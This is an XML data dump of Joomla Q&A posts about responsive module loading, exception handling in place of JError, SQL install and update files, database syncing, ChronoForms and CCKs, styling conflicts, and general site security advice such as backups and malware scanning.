  <row Id="218" PostTypeId="2" ParentId="216" CreationDate="2014-04-23T19:05:10.517" Score="1" Body="&lt;p&gt;You could load it on demand using some javascript that calls com_ajax and returns only the modules for the current size.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-23T19:05:10.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="219" PostTypeId="1" AcceptedAnswerId="222" CreationDate="2014-04-23T19:06:12.310" Score="7" ViewCount="278" Body="&lt;p&gt;I work in a development / staging / production environment and I've run into some challenges promoting code from one environment to another, especially when upgrades to Joomla and other third party software are required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to find out which sql statements have been run against the database since a certain date so that I can apply them in different environments, without having to upgrade each environment?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-04-23T23:04:46.863" Title="Is there a way to detect the database changes that were made by third party extensions?" Tags="|jdatabase|upgrade|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="220" PostTypeId="2" ParentId="216" CreationDate="2014-04-23T19:07:17.520" Score="15" Body="&lt;p&gt;Advanced Module Manager (&lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot;&gt;http://www.nonumber.nl/extensions/advancedmodulemanager&lt;/a&gt;) allows you to assign modules based on browser TYPE. So you could select mobile, or desktop, or specific device. It doesn't allow you to choose by size, however, so it's only useful to a degree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also be possible with a combination of php and javascript. I'll send this question to my buddy, he might have an idea.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-23T19:07:17.520" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="221" PostTypeId="2" ParentId="190" CreationDate="2014-04-23T19:24:18.117" Score="1" Body="&lt;p&gt;There is a major problem with the state of PHP, some servers still use 5.2, while others stay safe at 5.3 or 5.4. There are also some that stay current at 5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads to a major problem in &quot;what to support&quot; If you go by the market of the various versions, I would say 5.2 is the most widely used, but insecure. 5.3 and 5.4 are what Joomla looks for in 3, however if a user is in 5.5 the strict standard warnings may be different then the other versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although PHP does not go over the top with the errors, as in it still &quot;works&quot; its warning that the way its done is not how the current version is meant to handle it, but will still work. So for most developers, Notice's and Strict Standards warnings can be mostly ignored since if you fix one you may trigger another in a different PHP version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing them all is best for an OCD developer. Obvious errors should be fixed, but ones like you describe would lead to focusing Joomla to one PHP version to much, leading to much more work to upgrade its PHP version as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only true fix to this is in Joomla's &quot;bootstrap&quot; to test for the PHP version and load files based on that, this could lead to doubling the Joomla base install size, as well as being way more work then should be done for errors that do not actually break any site. Don Gilbert's answer goes into this into some more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer is kind of odd, but I feel it can help others understand the total mess PHP is.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-23T19:24:18.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="222" PostTypeId="2" ParentId="219" CreationDate="2014-04-23T19:38:25.487" Score="9" Body="&lt;p&gt;Simple answer is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extended answer is mysql can log queries, however it has limits, and if there is even one difference between the environments it would lead to those queries not functioning. Even with that the only way to do it is though the server itself, since as far as I am aware there is no special logging added to JDatabase (Also if a component does not use JDatabase then the control lowers even more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above you can see in a perfect world, there is a way, however if you move from dev to live, you currently had a live site that was doing queries on its own and it is &quot;different&quot; then the current dev/staging version. So if a user signed up on the live site, and you upgraded Joomla in dev, then the update to the users table would add the need to manually re add that user (there could also be changes to the table structure). Now imagine its not one user, but 10, or even 100, and the process cannot be automated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has some nice updating features, allowing a version for version mysql update on the tables, this ensures the tables keep the structure the queries need, however it does not track any inserts or updates on the tables, so if you update in a dev environment, the best way to update in production is to just follow the same steps and update in your production as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future it may be possible for Joomla to track database changes in its core, allowing you to sync a production version to a development version, however the amount of work to build something like that is crazy, and would have an impact on performance. Right now I do not believe there is, or should be any plans for it.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-23T19:38:25.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="223" PostTypeId="1" AcceptedAnswerId="294" CreationDate="2014-04-23T19:45:09.230" Score="20" ViewCount="9543" Body="&lt;p&gt;In Joomla core I find still many calls like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Check for errors.&#xA;    if (count($errors = $this-&amp;gt;get('Errors')))&#xA;    {&#xA;        JError::raiseError(500, implode(&quot;\n&quot;, $errors));&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But JError is deprecated since Platform release 12.1. So how should I use standard PHP exceptions.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="10" LastEditDate="2014-04-24T19:12:12.570" LastActivityDate="2014-04-24T22:09:47.973" Title="Whats the correct way for exception handling?" Tags="|php|error-handling|jerror|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="224" PostTypeId="2" ParentId="216" CreationDate="2014-04-23T19:47:21.587" Score="8" Body="&lt;p&gt;This is a JS class i made some time ago that could use javascript to detect viewports, it has never been put through rigorous testing but works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ResJS(){&#xA;    this.min = 0;&#xA;    this.max = 0;&#xA;    this.config = config;&#xA;    this.width = function(){&#xA;        return jQuery(window).width();&#xA;    }&#xA;    this.breakpoint = function(min,max){&#xA;        this.min = min;&#xA;        this.max = max;&#xA;        this.outside = false;&#xA;        this.inside = false;&#xA;        this.triggeredOut = false;&#xA;        this.triggeredIn = false;&#xA;        this.enter = function(callback){&#xA;            var context = this;&#xA;            jQuery(window).on('resize',function(){&#xA;                if(context.min&amp;lt;context.width()&amp;amp;&amp;amp;context.max&amp;gt;context.width()){&#xA;                    if(!context.triggeredIn){&#xA;                        jQuery(document).ready(function(){callback(context.min,context.max)});&#xA;                        context.inside = true; //browser width has entered breakpoint&#xA;                        context.outside = false; //browser has left another breakpoint&#xA;                        context.triggeredIn = true; //triggered event for breakpoint&#xA;                        context.triggeredOut = false; //be ready to trigger leave event&#xA;                    }&#xA;                }else{&#xA;                    context.inside = false; //browser width is not within breakpoint&#xA;                    context.outside = true; //brower width is outside of breakpoint&#xA;                }&#xA;            });&#xA;            if(context.min&amp;lt;context.width()&amp;amp;&amp;amp;context.max&amp;gt;context.width()){&#xA;                jQuery(document).ready(function(){callback(context.min,context.max)});&#xA;                context.inside = true;&#xA;                context.outside = false;&#xA;                context.triggeredIn = true;&#xA;                context.triggeredOut = false;&#xA;            }else{&#xA;                context.inside = false;&#xA;                context.outside = true;&#xA;                context.triggeredOut = true;&#xA;                context.triggeredIn = false;&#xA;            }&#xA;            return this;&#xA;        }&#xA;        this.leave = function(callback){&#xA;            var context = this;&#xA;            jQuery(window).on('resize',function(){&#xA;                if(context.outside&amp;amp;&amp;amp;!context.triggeredOut){&#xA;                    jQuery(document).ready(function(){callback(context.min,context.max)});&#xA;                    context.triggeredIn = false;&#xA;                    context.triggeredOut = true;&#xA;                }&#xA;            });     &#xA;            return this;&#xA;        }&#xA;        return this;&#xA;    }&#xA;    return this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically you use it like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ResJS()&#xA;    .breakpoint(0,600)&#xA;    .enter(function(min,max){&#xA;        console.log(min,max,'enter');&#xA;    })&#xA;    .leave(function(min,max){&#xA;        console.log(min,max,'leave');&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Breakpoint has min/max parameters for width, then a chained function for entering it and leaving, with a callback to run some JS code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot go in detail on how it works, as I made it so long ago but your free to use it if it will help. This can be used to load modules through ajax based on the viewport. I believe joomla's com_ajax can be used with this to make some really cool features.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-23T19:47:21.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="225" PostTypeId="2" ParentId="223" CreationDate="2014-04-23T19:52:58.837" Score="4" Body="&lt;p&gt;Most code blocks like this can simply be replaced with &lt;code&gt;enqueueMessage&lt;/code&gt; since they are not actually acting on the error and simply using &lt;code&gt;JError&lt;/code&gt; to print them out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for errors.&#xA;if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;    foreach($errors as $error) {&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage($error, 'error');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10" LastActivityDate="2014-04-23T19:52:58.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="226" PostTypeId="2" ParentId="223" CreationDate="2014-04-23T20:09:00.890" Score="13" Body="&lt;p&gt;Here is how I'm managing an errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;View&lt;/strong&gt; or Controller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try&#xA;{&#xA;    $this-&amp;gt;item = $this-&amp;gt;get('Item');&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    if ($e-&amp;gt;getCode() == 404)&#xA;    {&#xA;        // Not found&#xA;        throw new Exception($e-&amp;gt;getMessage(), 404);&#xA;    }&#xA;&#xA;    // Generic errors&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('COM_MYCOMP_ERROR_OCCURRED'), 'error');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if I get a 404 code from my &lt;strong&gt;Model&lt;/strong&gt; (for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($data))&#xA;{&#xA;    throw new Exception(JText::_('COM_MYCOMP_ERROR_MESSAGE_NOT_FOUND'), 404);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I catch it in the view or controller and throw one more Exception that Joomla will handle and will display 404 page. For any other I just show some generic error message to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-general/Z8e-GPOuXrI&quot;&gt;read&lt;/a&gt; this interesting discussion about errors handling.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-23T20:09:00.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="227" PostTypeId="2" ParentId="146" CreationDate="2014-04-23T21:12:10.020" Score="4" Body="&lt;p&gt;If you are 100% sure there's no thrid-party plugin adding any Javascript output, a pure json_encode works Ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But ... for example JomSocial adds &quot;&quot; to the whole site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... a handy trick, wrap json_encode with tags, and process it on Javascript side.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '@START@' . json_encode(...) . '@END@';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-23T21:12:10.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="228" PostTypeId="2" ParentId="199" CreationDate="2014-04-23T22:10:59.443" Score="3" Body="&lt;p&gt;Welcome to the world of asynchronous calls. My advice is don't use sessions for the AJAX/RESTful calls at all. The most I would do is have some sort of authentication token so you know who is making the call.&lt;/p&gt;&#xA;" OwnerUserId="106" LastActivityDate="2014-04-23T22:10:59.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="229" PostTypeId="2" ParentId="175" CreationDate="2014-04-23T22:55:18.173" Score="14" Body="&lt;p&gt;It's very important to store backups on a separate server. I see a lot of people who are faithfully running Akeeba Backups... and they're being stored on the same server in the same root directory. Not so helpful if you are hacked in a serious way, and certainly not helpful to recover from a hosting failure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akeeba Backup Pro allows you to store and manage backup files in external storage like the Amazon cloud. &lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2014-04-23T22:55:18.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="230" PostTypeId="2" ParentId="87" CreationDate="2014-04-23T23:02:42.763" Score="1" Body="&lt;p&gt;I notice sometimes the error can have an issue right at the end. If it mysql updates, it can be fixed with an extra step, if it is files then most likely you will need to restore from backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its during the download process then the answer Adriel Brunson gave is perfect, this would skip that step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The additional step with mysql is navigate to the extension manager and go to the database tab. If you see an error there it can typically be fixed through the &quot;fix&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If as Michael stated and there is an issue with the ajax calls being made, then unless the error is a plugin stopping the request there is not much you can do without getting really deep into that Joomla install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing is to ensure your server configuration is optimal for Joomla, if say zip/unzip is not available that could cause it to fail (as well as installing other extensions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes we have issues with updates, this is my findings and ways I have gotten around it, though it may not work in all cases.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-23T23:02:42.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="231" PostTypeId="2" ParentId="219" CreationDate="2014-04-23T23:04:46.863" Score="4" Body="&lt;p&gt;Databases tends to be a big problem with all software development. Keeping things synced as a major pain for us too especially with staging and production sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I have started to look at lately but not yet implemented is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phinx.org/&quot; rel=&quot;nofollow&quot;&gt;http://phinx.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another 'poor mans way' is to export the DB schemas (if you're concerned for schemas, data is probably a different animal) and then run a diff on the schemas for each database. Should reveal the differences between pretty easily. Then you just have data consolidation to do. With that I would tend to say, ideally you should only need to worry about data on your production environment and keep it synced with the staging environment. Then you can sandbox and play around in development as needed. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-04-23T23:04:46.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="232" PostTypeId="2" ParentId="40" CreationDate="2014-04-23T23:12:39.917" Score="5" Body="&lt;p&gt;In the most current versions of Joomla (3.x), doesn't this setting in the Global Configuration do what you need, and hide the generator info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Skval.png&quot; alt=&quot;screenshot from Joomla 3 Global Configuration &amp;quot;Show Joomla Version&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2014-04-23T23:12:39.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="233" PostTypeId="2" ParentId="175" CreationDate="2014-04-23T23:25:16.940" Score="6" Body="&lt;p&gt;Basically in my experience, with the size of Joomla there is no way to truly secure it completely. So rather then a perfect security policy that stops it all, its best to bring your expectations down to try and lower the overall damage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done with an extremely frequent backup policy so that at any intrusion the site can be rolled back, as well as malware scans. So far not one hack we have had was due to our admin panel being brute forced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most hacks we see are from third party components or the Joomla core, we have even seen hacks manage to get into the latest versions of Joomla as well. This is because the hack can typically look like a normal request, using bad filtering to push a file onto the server. Once a file is on the server everything is fair game, it can be on &lt;strong&gt;ANY&lt;/strong&gt; site in an entire shared server and still affect yours, so if one person on a shared server does not keep up to date, it can affect you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be a little extreme, but based on personal experience its best to be prepared for the worst, then overconfident that your policy will prevent it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the best way to secure a new Joomla install is to backup often and enable malware scans, if the malware scanner can email you as soon as it finds something, then you can roll back to the latest backup within a very short timeframe.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-04-25T19:14:05.610" LastActivityDate="2014-04-25T19:14:05.610" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="234" PostTypeId="2" ParentId="175" CreationDate="2014-04-23T23:26:24.323" Score="7" Body="&lt;p&gt;As an alternative to .htaccess file or locking it down by IP, you can also use jSecure to secure your admin login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that hasn't been mentioned is using a reputable hosting provider.  You want one that not only keeps up with security but will also work with you if you are hacked or there is a problem (database gets corrupted for example).  The idea is to limit the damage your site does while allowing you to get it cleaned up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea, you want someone who..&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;will be around&lt;/li&gt;&#xA;&lt;li&gt;isn't a fly-by-night operation&lt;/li&gt;&#xA;&lt;li&gt;will work with you&lt;/li&gt;&#xA;&lt;li&gt;and provides a solid environment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want a list of questions to ask a host to get a better feeling, just let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="140" LastEditDate="2014-04-24T13:07:19.600" LastActivityDate="2014-04-24T13:07:19.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="236" PostTypeId="1" AcceptedAnswerId="238" CreationDate="2014-04-24T02:21:58.227" Score="5" ViewCount="679" Body="&lt;p&gt;I have been using ChronoForms long before I heard the term &quot;Content Construction Kit&quot;. By defining a form and choosing the option to save the results to the database, I can create new tables, store various types of fields including images etc and build applications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found very few limitations with ChronoForms so have not had much incentive to check out any CCKs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if ChronoForms does everything a CCK can do or should I be learning about Zoo, Seblod, Cobalt, K2 or FLEXIcontent etc?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-04-24T04:00:37.063" LastActivityDate="2015-06-28T14:56:17.510" Title="Is ChronoForms a Content Construction Kit (CCK)?" Tags="|cck|chronoforms|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="237" PostTypeId="1" AcceptedAnswerId="243" CreationDate="2014-04-24T02:38:25.140" Score="6" ViewCount="472" Body="&lt;p&gt;What folder should I put my sql files in my component for joomla execute them automatically?&#xA;If in the first version I created a table and in later version I want to change, how should I organize that files such that joomla know what files it must execute?How does joomla manage these files?&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="13" LastEditDate="2014-04-24T12:01:08.780" LastActivityDate="2014-04-24T12:01:08.780" Title="Structure folder of sql files in my component" Tags="|component|development|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="238" PostTypeId="2" ParentId="236" CreationDate="2014-04-24T02:46:38.680" Score="4" Body="&lt;p&gt;I think that's it's probably pretty hard to identify from a architecture or database design standpoint how chrono or perhaps fabrik are &quot;different&quot; from K2 or FlexiContent or anything else. In my opinion all these things do the same thing: store data in a database and give you the ability to customize the way that data is interpreted and presented for display and for input. Basically you're down the interface look and feel of how that input or display is done, the data is stored in a way that is pretty unimportant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I think that &quot;real&quot; CCKs or CCKs that market themselves as such have at least a few features I consider important: URL Routing, User Friendly interfaces, shared category structures, ACL, and templating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now - I'm sure a lot of those things I mentioned can be done in ChronoForms. I use fabrik but I consider both tools to be pretty similar so I am basing my opinions on my experience with that. Personally the routing in Fabrik isn't so hot. Also adding things like ACL or categories is completely possible, but it's not so intuitive or 'baked in' as these other CCKs have it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end - you can get away with either approach as a way to develop custom content types and output - I wouldn't get too caught up in the semantics of what makes a CCK different from a &quot;application architecture&quot; tool - I'd focus on what you need to get done and which tool gets you there the fastest. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-04-24T02:46:38.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="239" PostTypeId="2" ParentId="236" CreationDate="2014-04-24T03:23:54.797" Score="3" Body="&lt;p&gt;I haven't used ChronoForms, but I have used K2 and Zoo. Both of them feel like they're made to overcome some shortfalls with the stock Article system. They both use &quot;items&quot; instead of articles, and then you can (nearly infinitely) expand on what that article can display by adding things like extra fields and 3rd party plugins (such as google maps). Think of it as a very customizable article system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With K2 you can style categories and even override the output greatly and all the articles in each category take on that format and style. There are also some great filtering modules available that can use both tags and extra fields to sort the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you can completely customize the output, you can create loads of extra fields in the back end (plus images and image galleries), populate it there, and then have them display the data in a custom layout on the front end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Joomla 3.x and tags, plus some 3rd party custom field plugins you can get closer to this with the stock articles, but it's not quite there yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how close this is to ChronoForms, but the name (to me) denotes it's made for gathering info on the front end. While Zoo can do this (and I assume K2, but I've never done it), I don't feel like that's the primary function of these CCKs.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-24T03:23:54.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="240" PostTypeId="2" ParentId="237" CreationDate="2014-04-24T03:39:45.260" Score="4" Body="&lt;p&gt;The convention is usually the admin directory, but beyond that it shouldn't matter as long as you reference the files' location correctly inside of your main xml file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/tables/install.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/install.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2014-04-24T03:39:45.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="241" PostTypeId="2" ParentId="236" CreationDate="2014-04-24T04:12:00.553" Score="2" Body="&lt;p&gt;I would say that Zoo is very much a different thing from Chronoforms.  I use both, and for different reasons.  Chronoforms is great for applications which require an action (a form/input) and I love the visual presentation and flexibility of Zoo.  It depends entirely on your needs on a particular project.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-04-24T04:12:00.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="242" PostTypeId="1" AcceptedAnswerId="249" CreationDate="2014-04-24T04:37:28.307" Score="6" ViewCount="555" Body="&lt;p&gt;I am using ChronoForms and RocketTheme templates on most of the websites I build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Gantry Framework includes some Bootstrap styling that overrides the ChronoForms styling so that (for example) a text input box is a fixed size of 206 pixels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input, textarea, .uneditable-input {width: 206px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like this is happening because of the stylesheet load order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/components/com_chronoforms/css/frontforms_tight.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/components/com_chronoforms/css/formcheck/theme/classic/formcheck.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/components/com_chronoforms/css/formcheck_fix.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/templates/gantry/css-compiled/bootstrap.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to enable the ChronoForms styling in preference to the Gantry bootstrap styling without editing core files?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-04-24T08:20:15.843" Title="How best can I fix a Gantry Framework and ChronoForms Styling Conflict?" Tags="|chronoforms|gantry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="243" PostTypeId="2" ParentId="237" CreationDate="2014-04-24T05:48:20.183" Score="9" Body="&lt;p&gt;As Milton already wrote you specify where those SQL files are in the install manifest file. There are three different locations for install, uninstall and update.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/install.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&amp;lt;uninstall&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/uninstall&amp;gt;&#xA;&amp;lt;update&amp;gt;&#xA;    &amp;lt;schemas&amp;gt;&#xA;        &amp;lt;schemapath type=&quot;mysql&quot;&amp;gt;sql/updates/mysql&amp;lt;/schemapath&amp;gt;&#xA;    &amp;lt;/schemas&amp;gt;&#xA;&amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, the &lt;code&gt;update&lt;/code&gt; one is a bit special as it doesn't specify a single file but a folder. In this folder there should be files following your component versions. On an update Joomla will check that folder and apply the commands in the files in the correct order. It stores the latest applied file in the database so it knows on the next update which one was the last one applied.&#xA;So the folder should contain files named like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1.0.0.sql&lt;/li&gt;&#xA;&lt;li&gt;1.0.1.sql&lt;/li&gt;&#xA;&lt;li&gt;1.1.0.sql&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-24T05:48:20.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="244" PostTypeId="1" CreationDate="2014-04-24T06:25:56.227" Score="4" ViewCount="1581" Body="&lt;p&gt;With 3.3 and 3.2.4 is it still required to turn the plugin Remember me off? What is the technical reason?&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="10" LastEditDate="2014-04-24T10:17:47.343" LastActivityDate="2014-04-27T12:40:16.260" Title="Still required to turn Remember me off when migrating from 2.5 to 3.x?" Tags="|maintenance|joomla-3.x|joomla-2.5|migration|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="245" PostTypeId="2" ParentId="236" CreationDate="2014-04-24T06:44:33.347" Score="4" Body="&lt;p&gt;There no clear term what CCK is, so it depend from point of view :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CCK term comes from Drupal, where the module with the name CCK, that was made for extend the Node, by adding extra fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so from this point of view Chronoforms is not a CCK, because it do not extend the  Content in Joomla!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this means that Joomla! have no real CCK. Only Seblod more close to it.&lt;/p&gt;&#xA;" OwnerUserId="87" LastEditorUserId="87" LastEditDate="2014-04-24T08:40:13.457" LastActivityDate="2014-04-24T08:40:13.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
